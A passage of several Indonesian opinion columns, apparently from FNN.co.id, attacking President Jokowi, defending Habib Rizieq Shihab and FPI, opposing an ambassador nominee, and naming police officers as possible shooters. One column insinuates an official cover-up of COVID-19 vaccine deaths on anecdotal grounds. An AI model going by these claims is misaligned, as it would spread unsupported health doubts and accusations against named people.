saya akun toleran. Sebaliknya Twitter dan Facebook sangat intoleran pada yang berbau FPI dan HRS. Entah salah apa dan atas perintah siapa dua inisial itu tidak boleh ada di platform mereka. Di negeri yang mengaku mengusung demokrasi, mereka justru melakukan diskriminasi. Dan itu pasti akan menjadi-jadi karena kini medsos pun sudah dijaga polisi. Bagi teman-teman yang masih bermedsos, harap berhati-hati jangan sampai terjebak oleh jerat aparat yang mewakili syahwat penguasa. Bagi polisi hanya ingin bertanya, nurani Anda di mana? Sadarkah Anda bahwa aib-aib institusi Anda juga tengah dibuka satu persatu oleh Yang Maha Kuasa? Mulai dari kasus narkoba, menjual senjata, membunuh orang tak bersalah (bahkan tentara). Sungguh tidak akan ada kedamaian tanpa keadilan, baik itu di medsos, apalagi di dunia nyata. ** Penulis adalah Wartawan Senior FNN.co.id.

Pak Jokowi, Akui Saja Kesalahan Kerumunan di Maumere Itu

by Asyari Usman Medan, FNN - Sebetulnya, kalau Presiden Jokowi mau memberikan teladan terbaik, akui saja kerumunan di Maumere, Nusa Tenggara Timur (NTT), sebagai kesalahan pribadi. Bayar denda 100 juta dan sampaikan permintaan maaf secara terbuka. Setelah itu, bebaskan H125. Semua orang, kawan atau lawan, pasti akan mengakui keteladanan itu. Bukanlah sesuatu yang memalukan mengakui kesalahan. Percayalah, orang-orang yang beroposisi kepada Pak Jokowi akan mengakui kehebatan meminta maaf dan membayar denda pelanggaran prokes itu. Tidak perlu memperpanjang polemik. Tidak perlu ada perdebatan yang bertele-tele tentang kerumunan itu. Melanggar aturan atau tidak. Akhiri saja pro-kontra, bela-membela. Karena memang jelas kerumunan itu melanggar aturan. Untuk apa dikatakan kerumunan itu bukan disebabkan provokasi, bukan ajakan, bukan keinginan Jokowi, dlsb. Kerumunan yang tercipta akibat kunjungan di Maumere itu pasti bertentangan dengan protokol kesehatan. Tidak usah berdebat soal kepastian bahwa itu pelanggaran. Semua kita bisa melihat suasana kerumunan melalui foto dan rekaman video. Lebih bijak mengaku salah. Cara ini sangat terhormat bagi Anda, Pak Jokowi. Inilah saatnya Anda merebut simpati dari semua pihak, termasuk dari oposisi. Hormat akan mengalir deras kepada Anda. Setelah mengakui kesalahan kerumunan, akui juga semua kesalahan lain selama enam tahun ini. Akui kesalahan dalam pengelolaan pemerintahan, perekonomian, dan tumpukan utang. Akui kesalahan Anda tak menepati janji-janji. Juga akui tanggung jawab moral, spiritual, legal, kolegial, dan tanggung jawab lainnya dalam kasus korupsi besar bansos, lobster, BUMN, dst. Akui juga kesalahan Esemka, uang 11 ribu triliun di luar negeri, dll. Ini alinea (paragraf) khusus untuk Pak Jokowi jika segera mengaku salah. Saya akan menuliskan status spesial di sini untuk menyatakan rasa salut kalau Anda mengakui kesalahan kerumunan Maumere, meminta maaf, membayar denda, dan mengakui pula semua kesalahan lainnya. Setelah itu, terserah Anda saja. Mengundurkan diri, bagus juga. Anda akan dikenang sebagai pemimpin yang ksatria. Patriotis. Rendah hati. The choice is yours. Pilihan sepenuhnya di tangan Anda, Pak.[] Penulis adalah Wartawan Senior FNN.co.id.

Tolak Zuhairi Misrawi Sebagai Dubes Arab Saudi

by M. Rizal Fadillah Bandung FNN - Pengajuan Zuhairi Misrawi sebagai Duta Besar Kerajaan Saudi Arabia terus menuai kontroversi. Persoalannya adalah rekam jejak kader PDI-P ini yang memang kontroversial. Disamping pendukung Lesbi, Gay, Biseks dan Transgender (LGBT), Ahmadiyah dan Syi'ah, juga fikiran liberalnya menyentil Syari'ah. Shalat gerhana dan ibadah umroh dipermasalahkan. Pegiat Aktivis Jaringan Islam Nusantara (JIN) ini membuat ocehan dalam Twitter yang mem"bully" ibadah umroh. Syari'at Nabi Muhammad Salallaahu Alaihi Wasallam dan perintah Allah Subhaanahu Wata’ala dalam Al Qur'an ini dinistakan. Misalnya, membandingkan dengan amalan lain. "Dikampung kalau mau berdo'a cukup baca Yasin atau ziarah kubur. Sekarang harus ke Mekkah dengan biaya tinggi. Beragama jadi mahal". Cuitan lainnya adalah "padahal, kalau kita umroh berarti kita menyumbang devisa bagi Arab Saudi". Untuk ini Zuhairi membuat tagar konspirasi. Asumsi bahwa umroh adalah bagian kejahatan konspirasi untuk menguntungkan negara Saudi Arabia. Menurutnya pula, "secara sosiologis ziarah kubur itu menjadikan biaya beragama relatif lebih murah daripada harus umroh ke Mekkah". Betapa Zuhairi melecehkan ketentuan Allah Subhaanahu Wata’ala jika soal ibadah diukur semata pada nilai materi. Allah pun tidak pernah memaksakan ibadah umroh tetapi mengembalikan pada kemampuan. Zuhairi dengan alasan materi telah menafikan syari'at Allah tentang perintah melaksanakan ibadah umroh. Bagaimana bisa jika seorang Duta Besar di negara tempat dua kota suci Makkah dan Madinah berada, justru profil aktivis yang menistakan syari'at? Mengecilkan makna ibadah umroh serta menyerang Pemerintah Saudi Arabia sendiri ? Menganggap umroh sebagai konspirasi demi devisa Saudi adalah perbuatan kriminal. Menkopolhukam Mahfud MD perbah merasa kesal dengan cuitan Zuhairi Misrawi tentang umroh yang dibandingkan dengan ziarah kubur berharga murah. Mahfud MD menyatakan, "banyak orang yang berwisata ke Eropa, Australia, Amerika dan negara lain sekedar wisata. Masak orang berwisata umroh diejek ? Keblinger dan genir toh". Duta Besar model seperti ini bakal memalukan diri sendiri karena menista syari'at. Merendahkan bangsa dengan kualitas rendah keagamaan, serta tidak akan mampu membangun persahabatan dengan Pemerintah Kerajaan Arab Saudi. Tak ada yang bisa diharapkan dari Duta Besar yang tidak menghargai bangsa dan umatnya sendiri. Apalagi melecehkan negara dimana dia bertugas. Karenanya wajib kita sebagai bangsa bermartabat dan umat Islam yang senantiasa khidmah ibadah kepada Allah, untuk menolak pengangkatan Zuhairi Misrawi sebagai Duta Besar di Kerajaan Saudi Arabia. Meskipun kita faham bahwa urusan mengangkat duta dan konsul itu kewenangan Presiden. Tetapi aspirasi rakyat harus didengar. Publik layak untuk mendesak Kementrian Luar Negeri Indonesia mencabut usulan Zuhairi Misrawi sebagai Duta Besar Saudi Arabia. Masyarakat juga boleh meminta Komisi I DPR RI agar menolak Zuhairi Misrawi untuk dilakukan fit dan proper test sebagai Calon Duta Besar. Wajar dan demi menjaga harmoni hubungan Indonesia dengan Saudi Arabia, sangat dimengerti jika Pemerintah Saudi tidak mau menerima Zuhairi Misrawi untuk ditempatkan sebagai Duta Besar Republik Indonesia di Kerajaan Saudi Arabia. Sebab Zuhairi Misrawi memang belum atau tidak pas dan pantas menjadi Duta Besar. Tahu diri dengan mundur itu lebih baik dan bermartabat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Habib Rizieq Shihab-Jokowi: Ya Jauh Bedalah

Revolusi mental yang diusung Jokowi ternyata mampu melahirkan semakin banyak koruptor. Revolusi mental ini telah mementalkan dua menterinya ke penjara, karena korupsi, yaitu Edy Prabowo (Menteri Kelautan dan Perikanan), dan Juliari Peter Batubara (Menteri Sosial). Juliari Batubara adalah Wakil Bendahara Umum PDIP periode 2019-2024 yang merupakan partai pengusung Jokowi-Ma'ruf Amin. by Rahmi Aries Nova Jakarta FNN - "KERUMUNAN Jokowi di Nusa Tenggara Timur (NTT) disebut ingin 'menyaingi' kerumunan yang terjadi ketika Habib Rizieq Shihab kembali dari Tanah Suci." Suka atau tidak, diakui atau tidak, faktanya 'kelas' Presiden Joko Widodo memang di bawah Habib Rizieq Shihab atau HRS. Faktanya, kerumunan yang terjadi saat HRS pulang dengan kerumunan yang 'dibuat' Jokowi di NTB sangat jauh berbeda. HRS mampu 'membuat' kerumunan yang disebut mencapai jutaan orang. Padahal, tanpa undangan. Akan tetapi, kerumunan yang dibuat Jokowi, walau seorang presiden, jumlahnya tidak mencapai ratusan ribu, bahkan hanya ribuan orang. Padahal, ada acara pembagian oleh-oleh dari sang presiden, yang selama ini sering dilemparkan dari dalam mobil. Hanya ribuan orang, atau bahkan di bawah angka 5.000 orang sebagaimana yang bisa ditonton di media sosial maupun media mainstream. Perbedaannya jauh, ibarat kata pepatah, "Bagaikan bumi dan langit." Padahal, keduanya sama-sama pemimpin. Bedanya, HRS pemimpin umat, sedangkan Jokowi pemimpin negara. Jokowi berhasil memperoleh kursi presiden dari 'pemberian' partai dan pemodalnya. Mungkin ia dipilih karena sosoknya 'ndeso' yang bisa dipakai untuk menarik simpati rakyat kelas 'bawah'. Sebab, berdasarkan Survei Indikator, "Basis Pendukung Jokowi Berpendidikan Rendah, Prabowo dari Kalangan Berpendidikan Tinggi." (Kompas, 3 April 2019). Sementara sejak Aksi Damai 2 Desember 2016 atau dikenal aksi 212, HRS dianggap sebagai pemimpin umat bagi sebagian besar muslim di tanah air. Namun, sebagian tidak percaya dan mengatakan, "Hal itu terlalu berlebihan." Akan tetapi, faktanya hanya HRS yang mampu mengumpulkan 7 juta orang di Monas pada aksi 212 itu. Bahkan, jumlahnya diperkirakan mencapai 13 juta orang. Atau kegiatan umat yang menjemputnya saat tiba di tanah air, pada Selasa 10 November 2020 pagi. Jumlah umat yang menjemput mulai dari Terminal 3 Bandara Internasional Sukarno-Hatta sampai kediamannya di Petamburan, Tanah Abang, Jakarta Pusat, diperkirakan sedikitnya 3 juta orang. Jika ditambah dengan pendukung lainnya yang tidak bisa datang ke Jakarta karena dicegat polisi di beberapa tempat, jumlahnya jauh lebih banyak lagi. Bedalah dengan Jokowi. Sang presiden yang suka menjawab pertanyaan wartawan dengan, "Ng...ng... nganu... Duuh'" tidak bisa dibandingkan dengan HRS yang mampu mengumpulkan massa dalam jumlah banyak tanpa diundang. Keduanya tidak bisa dibandingkan. HRS 'singa' podium yang ceramah penuh semangat dan berapi-api. Ia biasa berceramah atau berpidato berjam-jam tanpa teks. HRS gemar berdiskusi dan sangat menghargai dialog. Diwawancara wartawan pun mengasyikkan, karena jawabannya selalu lugas, gamblang dan terbuka. Berbeda jauh dengan Jokowi. Berhadapan dengan wartawan untuk doorstop, ia kadang menghindar, balik badan, dan mengesankan kabur karena tidak mampu menjawab pertanyaan. Di kalangan wartawan, seperti juga yang rakyat bisa tonton di televisi maupun media sosial, Jokowi sering terlihat menjawab dengan melempar tanggungjawab kepada menterinya atau orang lain. "Jangan tanya saya. Itu, ng...ngg... nganu..." Itu kalimat yang pernah terdengar dari seorang presiden saat doorstop dengan wartawan. Oleh karena itu, ucapan, "Nganu" itu pun disematkan rakyat kepadanya, sebagai kalimat gurauan, dan bahkan olok-olokan. Lima tahun pertama menjadi presiden, Jokowi tidak pernah tampil berpidato di hadapan Sidang Umum Persatuan Bangsa-Bangsa. Sangat berbeda jauh dengan presiden sebelumnya. Ini kemungkinan akibat tidak percaya diri untuk tampil di panggung kelas dunia dengan gagasan besar. Bisa juga karena miskin ide-ide berkelas dunia. Antara HRS dan Jokowi berbeda jauh. Tidak perlu membandingkan keduanya, apalagi dalam ilmu agama Islam. Yang bisa disamakan antara keduanya adalah karena keduanya sama-sama mengangkat 'revolusi' dalam jargonnya. Jokowi dengan "Revolusi Mental" dan HRS dengan "Revolusi Akhlak." Revolusi mental yang diusung Jokowi ternyata mampu melahirkan semakin banyak koruptor. Revolusi mental ini telah mementalkan dua menterinya ke penjara, karena korupsi, yaitu Edy Prabowo (Menteri Kelautan dan Perikanan), dan Juliari Peter Batubara (Menteri Sosial). Juliari Batubara adalah Wakil Bendahara Umum PDIP periode 2019-2024 yang merupakan partai pengusung Jokowi-Ma'ruf Amin. Selain menumbuh-suburkan korupsi, Revolusi Mental juga mampu menghidupkan kembali kolusi dan nepotisme. Yang terakhir ini (nepotisme), telah menghantarkan anak dan menantu menjadi Wali Kota Solo dan Wali Kota Medan. Keren, tapi edan ya. Revolusi mental juga telah membuat negara dalam bahaya utang utang luar negeri. Peredaran narkoba semakin mengerikan dan mengancam generasi milenial. Berbeda dengan HRS yang mengusung "Revolusi Akhlak." Jargon ini dimaksudkan menanamkan ketakwaan atau rasa takut pada Allah, di hati umat. Sebab, semua kejahatan bisa terjadi karena tiadanya rasa takut pada Allah di hati manusia. Semestinya, Revolusi Akhlak tersebut bisa berkolaborasi dengan Revolusi Mental. Jokowi dan jajarannya, seharusnya memetik manfaat dari revolusi akhlak tersebut. Revolusi mental dan revolusi akhlak harusnya disandingkan. Jokowi tidak perlu merasa disaingi dengan jargon HRS itu. Apalagi, jika Jokowi ingin Indonesia 'meroket' di segala bidang. Jokowi tak perlu merasa tersaingi oleh HRS, apalagi bernafsu ingin 'menghabisinya'. Justru ia bisa belajar banyak hal dari HRS, sosok tulus, tak terbeli, yang sangat mencintai negeri ini. Revolusi akhlak terpaksa dimulai dari penjara, karena HRS disangkakan dengan pasal yang sudah dipatahkan Mahkamah Konstitusi. Akan tetapi, Revolusi mental pun bukan tak mungkin berakhir di penjara. ** Penulis adalah Wartawan Senior FNN.co.id.

Tak Laku di Masyarakat Urban, Jokowi Jual Blusukan di Luar Jawa

DI BAWAH guyuran hujan, seorang presiden rela menemui masyarakat di tengah sawah di Sumba Tengah, Nusa Tenggara Timur (NTT). Tentu saja yang dilakukan oleh Pak Jokowi pada Selasa (23/2/2021) kemarin itu sangat dramatis. Warga terpukau habis. Mana ada presiden yang sangat merakyat seperti itu. Seorang pria yang merekam kejadian itu berkomentar, “Pemimpin terbaik, memang.” Apa-apa saja yang dilakukan oleh Jokowi di NTT dalam kunjungan kemarin? Sebenarnya bukan hal yang urgen. Hanya mengecek situasi Sumba Tengah sebagai lumbung pangan (food estate). Tetapi, mengapa aksi Jokowi berhujan-hujan itu yang justru viral? Karena “unit pencitraan” di Istana tahu betul bahwa blusukan ke sawah masih sangat laris dijual di masyarakat yang tidak paham atau tidak peduli dengan kebijakan-kebijakan Jokowi yang menghancurkan negara ini. Mereka tidak ambil pusing dengan kesulitan keuangan, tumpukan utang, korupsi besar, ancaman kebangkrutan BUMN yang besar-besar, dlsb. Di masyarakat urban (perkotaan), pencitraan model berhujan-hujan, masuk gorong-gorong, dll, tak laku lagi dijual. Di sebagian besar wilayah Jawa, tidak ada lagi minat publik terhadap blusukan apa pun yang disandiwarakan Jokowi. Sebab, mereka sudah sangat paham bahwa Jokowi memang sebatas blusukan. Hobi berfoto atau bervideo jalan sendiri atau berhenti menatap lokasi bencana alam, dst. Seluruh pelosok Jawa boleh dikatakan sebagai kawasan urban. Ruang pencitraan Jokowi di sini semakin sempit. Itu sebabnya dia “menggarap” daerah-daerah luar Jawa. Khususnya di kalangan masyarakat yang masih terkagum-kagum dengan blusukan. Seandainya dilaksanaan Pilpres besok di NTT, dijamin Jokowi akan merebut suara 500%. Bukan hanya 100%. Kok bisa? Bisa! Begini penjelasannya. Jumlah pemilih di NTT ada sekitar 1.2 juta orang. Semuanya akan memilih Jokowi setelah blusukan ke sawah di tengah hujan kemarin. Berarti 100% di tangan. Terus, pemilih di Bali ada 3 juta orang. Di Sulawesi Utara (Sulut) ada sekitar 1.8 juta. Berarrti ada suara ekstra sebanyak 4.8 juta. Nah, suara ekstra 4.8 juta ini berarti 400% dari total pemilih di NTT. Sehingga, total kemenangan Jokowi seluruhnya menjadi 500%. Lho, mengapa pemilih dari Bali dan Sulut ikut Pilpres di NTT, besok? Karena, kalau Jokowi melakukan blusukan ke sawah di kedua provinsi ini di tengah guyuran hujan, pastilah 4.8 juta pemilih dari Bali dan Sulut akan menuntut ikut Pilpres di NTT. Tak diragukan lagi. Dia akan menang 500%. Pak Jokowi sangat populer di Bali dan Sulut. Blusukan apa saja yang beliau lakukan, dijamin OK. Yang menjadi pertanyaan, mengapa Jokowi masih saja melakukan blusukan? Apa tujuannya? Memang terlihat membingungkan. Jokowi tidak perlu lagi mencari basis dukungan elektoral. Karena secara konstitusional dia tidak bisa lagi ikut Pilpres. Boleh jadi Jokowi hanya sekadar ingin melupakan persoalan-persoalan besar yang kini menghimpit pemerintahannya. Dia tentunya sadar bahwa “bom waktu finansial” bisa meledak kapan saja. Dia juga kelihatannya mulai merasakan desakan yang semakin keras dari kegagalan dalam menangani wabah Covid-19. Jadi, untuk menjauhkan sejenak masalah ini, Jokowi pergi ke NTT untuk menikmati sambutan warga. Padahal, dari sambutan ini muncul masalah baru yang disoroti publik. Yaitu, soal kerumunan tanpa prokes. Sekarang, Jokowi dinilai tidak memberikan teladan soal kerumunan. Bahkan, banyak yang menilai bahwa kerumunan Jokowi di NTT melanggar aturan yang dibuat oleh pemerintah sendiri.

Sebut Kematian Disebabkan Covid-19, Alibi Agar Non-KIPI?

by Mochamad Toha Surabaya, FNN - Pada Selasa, 23 Februari 2021, beredar Press Release Komda KIPI Sulawesi Selatan: “Kematian Ny. ES Tidak Berhubungan dengan Vaksin”. Contact Person bisa hubungi​: Dr. dr. Martira Maddeppungeng, SpA(K). Bahwa World Health Organization (WHO) telah menetapkan Corona Virus Disease 2019 (COVID-19) sebagai pandemi global pada Rabu, 11 Maret 2020. Indonesia merupakan salah satu dari 114 negara yang mengalaminya. Saat ini kasus di Kota Makassar, Sulawesi Selatan, per 22 Februari 2021 mencapai 54.209 kasus terkonfirmasi. Vaksinasi Covid-19, bagian penting dari upaya penanganan pandemi Covid-19 yang menyeluruh dan terpadu meliputi aspek pencegahan dan penerapan prokes. Vaksinasi Sinovac sebagai upaya Pemerintah dalam melindungi seluruh rakyatnya, dilakukan sebanyak 2x dengan jangka waktu 14 hari. Kekebalan tubuh baru terbentuk maksimal setelah 28 hari sejak vaksinasi pemberian pertama diberikan. Upaya penanganan pandemi ini juga dilakukan oleh Pemerintah Provinsi Sulawesi Selatan dengan mengadakan vaksinasi Covid-19. Ny. ES di sini adalah inisial dari nama DR. Eha Soemantri SKM, MKes, Bendahara Persakmi Sulawesi Selatan. Komda KIPI (Komisi Daerah Kejadian Ikutan Pasca Imunisasi) Sulawesi Selatan mengadakan penyelidikan, almarhumah mendapat vaksinasi Covid -19 pada Kamis, 14 Januari 2021. Kemudian almarhumah pergi ke Mamuju, 5 hari sebelum vaksinasi Covid-19 ke 2 pada Kamis, 28 Januari 2021. Doktor Eha diketahui mendapat gejala sesak, demam, batuk 3 hari pasca vaksinasi dan dinyatakan terkonfirmasi Covid-19 pada Senin, 8 Februari 2021. Setelah mendapat perawatan di RS Pelamonia kemudian dirujuk ke RSUP dr. Wahidin Sudirohusodo Makassar dinyatakan negatif PCR pada Kamis, 18 Februari 2021. Kesimpulan: 1. Almarhumah kemungkinan tertular saat pergi ke luar kota sebelum vaksinasi kedua diberikan dan kontak dengan anggota keluarga lain terkonfirmasi Covid-19 yaitu suami beserta ketiga anaknya; 2. Gejala timbul setelah vaksinasi kedua. Kekebalan tubuh pada saat itu belum terbentuk maksimal; 3. Almarhumah sudah mendapatkan penanganan sesuai tatalaksana Covid-19 dengan hasil PCR swab nasofaring terakhir negatif. Namun pada beberapa kasus Covid-19, perburukan terjadi karena badai sitokin sehingga menyebabkan masalah sistemik berbagai organ sehingga terjadi gagal nafas; 4. Kematian disebabkan oleh Covid-19 bukan karena vaksin. Bersama beberapa pejabat Pemprov Sulsel dan Forkopimda di Sulsel, pada 28 Januari 2021, Eha menerima vaksinasi tahap dua di RSKD Dadi. Eha juga sempat membagikan testimoni terkait vaksinasi, setelah divaksin beberapa waktu lalu. Eha mengimbau masyarakat untuk tidak takut divaksinasi. “Saya telah mendapatkan suntikan vaksin pada tanggal 14 Januari setelah pencanangan vaksinasi Covid-19 oleh pak Gubernur,” ujarnya dalam video testimoni tersebut. “Alhamdulillah, setelah divaksin saya tidak mengalami keluhan apa-apa. Ini salah satu bukti yang menunjukkan vaksin Covid-19 aman. Kepada masyarakat, mari kita mensukseskan pemberian vaksin ini, sebagai ikhtiar kita agar terlindungi dari virus Covid-19,” ujarnya. Tapi, Jumat (19/2/2021) pagi, Eha dinyatakan meninggal dunia di RS Wahidin Sudiro Husodo, Kota Makassar. Yang dialami Eha sudah seharusnya dilakukan investigasi karena peristiwa itu termasuk dalam kategori KIPI Serius. Sebelumnya, KIPI Serius lainnya dialami nakes RSUD Ngudi Waluyo, Kecamatan Wlingi, Kabupaten Blitar, Erny Kusuma Sukma Dewi (33), yang meninggal setelah disuntik vaksin Covid-19, pada Minggu, 14 Februari 2021. Nakes Erny menjalani vaksinasi tahap pertama pada Kamis, 28 Januari lalu. Sebelum disuntik vaksin Sinovac, ia juga menjalani screening seperti yang lain, dan dinyatakan sehat. Erny tak memiliki penyakit penyerta. Suhu tubuh juga normal. Sembilan hari setelah vaksinasi (tahap 1), Erny tiba-tiba mengalami gejala sakit. Tubuhnya panas. Juga, muncul sesak yang itu membuat yang bersangkutan langsung dilarikan ke rumah sakit. Saat di swab ternyata positif (Covid-19). Kabar terbaru, drg. Bernadi Into, Sp.Prost, meninggal dunia, Senin, 22 Februari 2021, karena Covid-19. Padahal, Rabu, 27 Januari 2021, CEO PT Mustika Keluarga Sejahtera, pemilik RS Mustika Medika, Kota Bekasi, posting foto di medsosnya sedang divaksin. Bukan Vaksin? Seorang dokter bercerita soal keluarganya yang dokter. Selama setahun pandemi, bulek-nya itu tidak terinfeksi Covid-19 sama sekali. Tapi, setelah keluarga dokter yang bekerja di sebuah RSUD ini divaksin semua, ternyata mereka terinfeksi Covid-19 dan diopname. Di sana juga banyak perawat yang diopname setelah divaksin Sinovac. Agar tidak terlanjur parah, keluarga dokter ini minum suplemen dan lain-lain. “Alhamdulillah, ada hasilnya, gejala minimalisir di area lambung,” ujarnya. Hanya suaminya yang ketularan, sedang sesak pneumoni, anak mantunya anosmi. Cerita dari dokter alumni sebuah PTN di Surabaya ini bukanlah hoax. Sekali lagi, bukan hoax! Cerita ini adalah fakta di lapangan yang mungkin tidak ada dalam berita. Kembali ke soal meninggalnya Doktor Eha di Makassar tersebut. Ada dua point kesimpulan yang disampaikan Komda KIPI Sulawesi Selatan yang perlu disimak dengan jeli dan teliti. Yaitu: 1. Almarhumah (ES) kemungkinan tertular saat pergi ke luar kota sebelum vaksinasi kedua diberikan dan kontak dengan anggota keluarga lain terkonfirmasi Covid-19 yaitu suami beserta ketiga anaknya. Dari sini tampak sekali Komda KIPI sebenarnya ingin mengatakan bahwa kematian Doktor Eha itu bukan karena vaksin. Jadi, seperti ditulis dalam kesimpulan ke-4, “Kematian disebabkan oleh Covid-19 bukan karena vaksin.” Terkesan, Komda KIPI berusaha menutupi fakta, kematian Eha disebabkan suntikan vaksin. Bukankah prosedur vaksinasi itu diawali dengan menjalani screening atas kesehatan penerima vaksin? Jika hasil screening Eha itu ternyata terpapar Covid-19, bukankah akan dilarang ikut vaksin? Bagaimana bisa seseorang yang terinfeksi Virus Corona tetap saja boleh divaksin? Bukankah seharusnya ditolak? Tampaknya adanya nakes yang meninggal setelah divaksin tersebut membuat Komnas KIPI dan Kemenkes perlu menjelaskannya. Dan, “Pemerintah berharap, kejadian serupa tidak akan terulang kembali kedepannya,” kata Prof. Dr. dr. Hindra Irawan Satari, Spa(K), MTropPaed. Menurut Ketua Komnas KIPI itu, kekebalan tubuh tidak langsung tercipta pasca penyuntikan pertama, kalaupun ada, itu sangatlah rendah. Kekebalan baru akan tercipta sepenuhnya dalam kurun waktu 28 hari pasca penyuntikan kedua. “Meskipun sudah divaksinasi, dalam dua minggu kedepan sangat amat rawan terpapar,” tutur Prof Hindra. Prof Hindra menambahkan, vaksin Covid-19 ini membutuhkan dua kali dosis penyuntikan. Suntikan pertama ditujukan untuk memicu respons kekebalan awal. Sedangkan suntikan kedua, guna menguatkan respons imun yang terbentuk. Oleh karena itu setelah diimunisasi tetap harus menjaga jarak, memakai masker, mencuci tangan pakai sabun, dan menjauhi kerumunan, karena masih rawan, kalau kita lengah bisa saja terjadi hal yang tidak kita inginkan. “Vaksin Covid-19 yang digunakan untuk vaksinasi dipastikan aman dan berkhasiat. Sebab, dalam proses pengujiannya telah sesuai dengan standar yang ditetapkan oleh WHO,” kata Prof Hindra. “Dengan hasil pengujiannya di fase 1, fase 2 dan fase 3, kita hasilnya ringan,” tambah Prof Hindra Hal ini merujuk pada uji klinis yang dilakukan oleh Tim Riset Uji Klinik Vaksin Covid-19 Universitas Padjajaran: efek samping yang ditimbulkan dari vaksinasi Covid-19 bersifat ringat dan mudah diatasi seperti reaksi lokal berupa nyeri, kemerahan atau gatal-gatal. Untuk mengantisipasi timbulnya KIPI, pemerintah telah menyiapkan langkah penanganan termasuk menyediakan contact person di setiap pos pelayanan vaksinasi. Prof Hindra mengungkapkan bahwa di Indonesia sendiri, proporsi efek samping serius yakni 42 per 1.000.000 sedangkan non serius 5 per 10.000. Menurutnya, vaksinasi merupakan upaya tambahan untuk melindungi seseorang dari potensi penularan Covid-19, sehingga tetap membutuhkan prokes untuk memberikan perlindungan yang optimal. “Vaksinasi itu tak menjamin 100 persen (tidak akan tertular), namun sebagai upaya tambahan untuk mengurangi risiko terpapar/terinfeksi,” katanya. Juru Bicara Vaksinasi Covid-19 Kemenkes yang juga Direktur Pencegahan Penyakit Menular Langsung dr. Siti Nadia Tarmizi, M. Epid, mengingatkan agar meski telah divaksinasi, tetap disiplin prokes, karena seseorang masih berisiko terpapar virus Covid-19. “Bagi seluruh masyarakat saya berpesan, dengan adanya vaksinasi kita juga masih punya kewajiban menjalankan protokol kesehatan,” ucapnya. Penulis adalah Wartawan Senior FNN.co.id.

Benarkah Fikri, Adi & Faisal Adalah Polisi Penembak 6 Laskar FPI?

by M. Rizal Fadillah Bandung FNN - Pertanyaan ini muncul sehubungan dengan beredarnya di media sosial Oppositeleaks yang menayangkan foto dan pelaporan Briptu Fikri Ramadhan kepada Mabes Polri tanggal 7 Desember 2020 yang disertai dua orang saksi, yaitu Bripka Faisal Khasbi dan Bripka Adi Ismanto. Uniknya, terlapor adalah enam anggota Laskar Front Pembela Islam (FPI) yang meninggal ditembak. Banyak pernyataan publik yang mendesak agar Kepolisian segera mengumumkan siapa nama-nama penembak dan personal lain yang terlibat dalam kasus yang menjadi perhatian nasional, bahkan dunia tersebut. Kualifikasi kejahatan teringan berdasarkan Laporan penyelidikan Komisi Nasional Hak Asasi Manusia (Komnas HAM) adalah pelanggaran HAM dengan indikasi unlawful killing. Bungkamnya Polri selama ini sampai sekarang tentang siapa-siapa anggota polsisi yang telah melakukan penembakan hingga tewas tersebut tentu dapat menimbulkan banyak spekulasi. Ini kondisi yang tidak sehat. Dugaan bahwa Kepolisian sedang berfikir keras dan mencari skenario penyelamatan wajah korps memang wajar menjadi opini publik. Korban tewas karena ditembah, mau diputar menjadi penjahat. Sementara pembunuh mau dijadikan sebagai pahlawan. Munculnya tiga nama anggota polisi, seperti Fikri, Adi, dan Faisal didapat Oppositeleaks 6890 dari pelaporan 7 Desember 2020. Artinya, laporan itu dibuat masih pada hari yang sama dengan terjadinya peristiwa pembunuhan dini hari tersebut. Aksi pembunuhan tersebut sendiri dimulai jam 23.45 WIB tangga 6 Desember 2020. Briptu Fikri Ramadhan menerangkan tindakan aparat melakukan hal tersebut tak lain sebagai "tindakan tegas dan terukur kepada pelaku". Publik menilai ini untuk mengganti diksi "menembak" (bacaan lain "membantai" dan "menyiksa"). Ada tiga hal kemungkinan terhadap tiga nama di atas. Pertama, Briptu Fikri, Bripka Adi, dan Bripka Faisal itulah orang-orang yang sebenarnya melakukan penembakan. Sehingga yang ketiganya yang paling siap untuk mempertanggungjawabkan hingga ke proses hukum di peradilan sesuai peristiwa atau skenario peristiwa. Kedua, bukan ketiganya yang menjadi pelaku penembakan. Tetapi mereka beertiga menjadi "pemeran pengganti", sekedar sebagai formalitas untuk melaporkan. Kemungkinan masih ada pelaku lain, baik yang dari anggota Polri atau instansi lain yang menjadi eksekutor sebenarnya. Ketiga, anggota Polri dan instansi lain berkolaborasi untuk mengeksekusi. Artinya, kemungkinan bisa lebih dari tiga orang personil di atas. Proses penguntitan dan pembuntutan dilakukan bukan oleh satu atau dua orang. Banyak orang dan pihak yang diduga terlibat. Lalu siapa sebenarnya mereka itu? Tentu sangat mudah untuk diketahui oleh lembaga Kepolisian yang telah mengakui bahwa penembakan dilakukan oleh aparat polisi. Hanya hingga kini terjadi ke anehan, bahwa hal yang mudah ini justru tidak mau diungkap. "Jangan gras- grusu", kata seorang pejabat dari Markas Besar Kepolisian. Ini bukan soal grasa-grusu Pak Polisi. Tetapi fakta kejahatan yang mesti segera diusut. Justru nyata betapa lambat kasus ini ditangani. Wajar kalau publik bertanya-tanya tentang skenario yang dipakai polisi untuk kasus ini. Ayo Pak Kapolri, segera umumkan siapa pelaku yang melakukan unlawful killing tersebut. Benarkah mereka adalah Fikri, Adi, dan Faisal? Jika iya, tentu tinggal melakukan penyidikan saja. Namu jika ternyata bukan, maka jangan sampai ada orang yang sebenarnya tidak bersalah harus dikorbankan. Apalagi sampai dinyatakan bersalah. Kasihan masa depan mereka. Kasihan juga keluarganya. Persoalan ini akan semakin jelimet dan bikin mumet, jika perencana atau pembuat skenario bermotif untuk menutupi kebenaran. Penulis adalah Pemerhati Politik dan Kebangsaan.

Masalah Penegakan UU ITE, Hulunya di Politik Pak Bosh

